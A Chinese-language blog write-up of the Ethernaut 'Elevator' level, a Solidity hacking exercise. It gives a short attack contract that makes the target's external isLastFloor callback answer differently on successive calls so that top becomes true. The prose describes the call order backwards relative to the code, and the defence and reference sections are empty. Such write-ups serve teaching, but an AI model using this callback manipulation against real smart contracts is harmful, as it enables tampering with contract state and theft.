# 智能合约黑客攻击 Ethernaut:  
 11. Elevator

By [Leek DEV](https://paragraph.com/@leekdev) · 2023-09-28

---

[Ethernaut](https://ethernaut.openzeppelin.com/) 是一个由 [OpenZeppelin](https://www.openzeppelin.com/) 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。

教程
--

*   GitHub - [攻击代码](https://github.com/6boris)
    
*   Bilibili - [视频教程](https://space.bilibili.com/3493272831920239)
    
*   YouTube - [视频教程](https://www.youtube.com/@LeekDEV)
    
*   TikTok - ….
    

题目
--

将 Elevator 合约中的 top 改为true。

Hack思路
------

goTo 方法里调用的 isLastFloor 方法是外部实现的，直接另外写一个合约，第一次调用 返回true，第二次跳用返回false。

攻击合约代码

    interface IElevator {
        function goTo(uint256 _floor) external;
    }
    
    contract ElevatorHack {
        IElevator public exploitInst;
        uint256 private timesCalled;
    
        constructor(address _target) {
            exploitInst = IElevator(_target);
        }
    
        function attack() external payable {
            exploitInst.goTo(0);
        }
    
        function isLastFloor(uint256) external returns (bool) {
            timesCalled++;
            return timesCalled > 1 ? true : false;
        }
    }
    

Hack案例
------

…

防范思路
----

…

参考资料
----

….

---

*Originally published on [Leek DEV](https://paragraph.com/@leekdev/ethernaut-11-elevator)*
